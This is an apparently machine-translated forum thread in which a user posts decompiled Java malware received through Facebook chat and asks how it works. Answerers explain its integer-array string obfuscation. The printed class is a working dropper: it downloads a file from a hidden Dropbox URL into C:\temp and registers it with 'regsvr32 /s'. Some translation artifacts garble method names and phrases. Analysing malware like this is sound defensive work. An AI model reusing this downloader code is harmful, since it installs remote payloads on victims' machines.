Java 此不可检测恶意软件中的代码

Java 此不可检测恶意软件中的代码,java,malware,virus,Java,Malware,Virus,我在facebook上两次收到这条消息,引用lol abc.rar,abc.rar文件有一个可执行的jar文件,单击该文件会尝试连接到facebook,并将相同的消息随机输入另一个聊天。我使用jd gui 0.36对其进行了反编译,在该恶意软件/病毒中发现了一个类czjffdqozxffyhrq,其中还有一个清单文件。我尝试了病毒总数,但未给出任何结果。这肯定是一个威胁,因为我的两个facebook朋友对我来说是个威胁,他们互不相关,所以传播速度非常快 病毒总结果: 现在是类的代码:-pack

我在facebook上两次收到这条消息,引用lol abc.rar,abc.rar文件有一个可执行的jar文件,单击该文件会尝试连接到facebook,并将相同的消息随机输入另一个聊天。我使用jd gui 0.36对其进行了反编译,在该恶意软件/病毒中发现了一个类czjffdqozxffyhrq,其中还有一个清单文件。我尝试了病毒总数,但未给出任何结果。这肯定是一个威胁,因为我的两个facebook朋友对我来说是个威胁,他们互不相关,所以传播速度非常快 病毒总结果:

现在是类的代码:-package com.cakes

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;

public class czjffdqozxffyhrq
{
  public static String mrdbdgwortilmglt()
  {
    int[] tdclrmdqriktvlkvmy = { 104, 116, 116, 112, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 110, 108, 100, 113, 99, 116, 110, 98, 118, 108, 101, 122, 52, 50, 98, 47, 109, 111, 100, 117, 108, 101, 46, 100, 97, 116, 63, 100, 108, 61, 49 };

    StringBuilder cfmbxqxdanzahnu = new StringBuilder(tdclrmdqriktvlkvmy.length);
    for (int i = 0; i < tdclrmdqriktvlkvmy.length; i++) {
      cfmbxqxdanzahnu.append((char)tdclrmdqriktvlkvmy[i]);
    }
    return cfmbxqxdanzahnu.toString();
  }

  public static String olzezeaokmr()
  {
    int[] wwlytwss = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 113, 118, 115, 102, 99, 99, 106, 109, 46, 103, 116, 106 };

    StringBuilder uurwhymtb = new StringBuilder(wwlytwss.length);
    for (int i = 0; i < wwlytwss.length; i++) {
      uurwhymtb.append((char)wwlytwss[i]);
    }
    return uurwhymtb.toString();
  }

  public static String wxujpwlzjfvvc()
  {
    int[] krihniioygdowfq = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92 };

    StringBuilder dmpxcpok = new StringBuilder(krihniioygdowfq.length);
    for (int i = 0; i < krihniioygdowfq.length; i++) {
      dmpxcpok.append((char)krihniioygdowfq[i]);
    }
    return dmpxcpok.toString();
  }

  public static String uwqeeyesndtlyfye()
  {
    int[] wwlytwsspath = { 114, 101, 103, 115, 118, 114, 51, 50, 32, 47, 115, 32, 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 113, 118, 115, 102, 99, 99, 106, 109, 46, 103, 116, 106 };

    StringBuilder eiljiba = new StringBuilder(wwlytwsspath.length);
    for (int i = 0; i < wwlytwsspath.length; i++) {
      eiljiba.append((char)wwlytwsspath[i]);
    }
    return eiljiba.toString();
  }

  public static void bnyikewbdrqhetgb()
    throws IOException
  {
    int m = 1;
    while (m < 7)
    {
      Runtime.getRuntime().exec(uwqeeyesndtlyfye());
      m++;
    }
  }

  public static void main(String[] args)
    throws Exception
  {
    new File(wxujpwlzjfvvc()).mkdir();
    File u = new File(olzezeaokmr());
    if (u.exists())
    {
      bnyikewbdrqhetgb();
    }
    else
    {
      String pdisodea = mrdbdgwortilmglt();
      String lwpztudm = olzezeaokmr();
      lslmzhpvu(pdisodea, lwpztudm);
    }
  }

  public static void lslmzhpvu(String rklnt, String nenyy)
    throws IOException
  {
    URL hsnmxltpgt = new URL(rklnt);
    InputStream mlzfltpyqeoqdahzvel = hsnmxltpgt.openStream();
    OutputStream uxvkcl = new FileOutputStream(nenyy);
    byte[] b = new byte[432101];
    int length;
    while ((length = mlzfltpyqeoqdahzvel.read(b)) != -1)
    {
      int length;
      uxvkcl.write(b, 0, length);
    }
    mlzfltpyqeoqdahzvel.close();
    uxvkcl.close();
    bnyikewbdrqhetgb();
  }
}

有人能解释一下这是如何工作的,为什么它仍然无法被检测到?

这是一个相当简单的混淆尝试

方法:

mrdbdgwortilmglt 奥尔泽奥克马尔 WXUJPWLZJVC uwqeeyesndtlyfye 只是隐藏为int数组的字符串

bnyikewbdrqhetgb显然很顽皮,因为它正在调用Runtime.getRuntime.exec。。。这应该始终是代码中的警告标志

lslmzhpvu正在访问URL。。。也很淘气

在这里,我所说的淘气,是指它的代码超出了自身,因此,可能会在其他地方造成伤害。在您下载的代码中,这应该是一个主要的警告标志,除非您知道代码应该使用URL或执行外部程序

为什么杀毒软件包不能捕获它? 它正在接住它。它检测未经授权的访问URL的尝试并警告您

有点脱臭
基本上,它从服务器下载一个文件

http://dl.dropboxusercontent.com/s/nldqctnbvlez42b/******.dat?dl=1
模糊链接,不希望任何人下载错误

…到c:\temp,并使用在系统中注册

regsvr32 /s <filename>

真正的邪恶可能在我不打算下载的下载文件中:

你说的不可检测是什么意思?任何杀毒软件都检测不到。像这样的模糊代码让我的眼睛流血。将合理名称附加到变量和方法的代码很难按原样读取!您已经对此进行了哪些分析,以说明它的作用?为我们节省一些时间,并告诉我们您所知道的关于这是如何工作的一切。代码似乎通过Runtime.getRuntime.exec执行一些命令。。当我点击这个jar文件后,一个进程在这段时间内随机启动,而我在电脑上工作,并试图与facebook通信,这时我的防病毒软件停止了这个进程,但在abc.rar上运行完整的病毒扫描时,它什么也检测不到!!但是你是怎么找到的呢?数组中的每个int代表一个字符@swapedoc@swapedoctdclrmdqriktvlkvmy包含中字符的ascii代码http://dl.dropboxusercontent... wwlytwspath包含regsvr32命令的ascii代码。另外两个只是存储文件的路径。实际上没有什么混淆,它只是存储在ascii整数中。
regsvr32 /s <filename>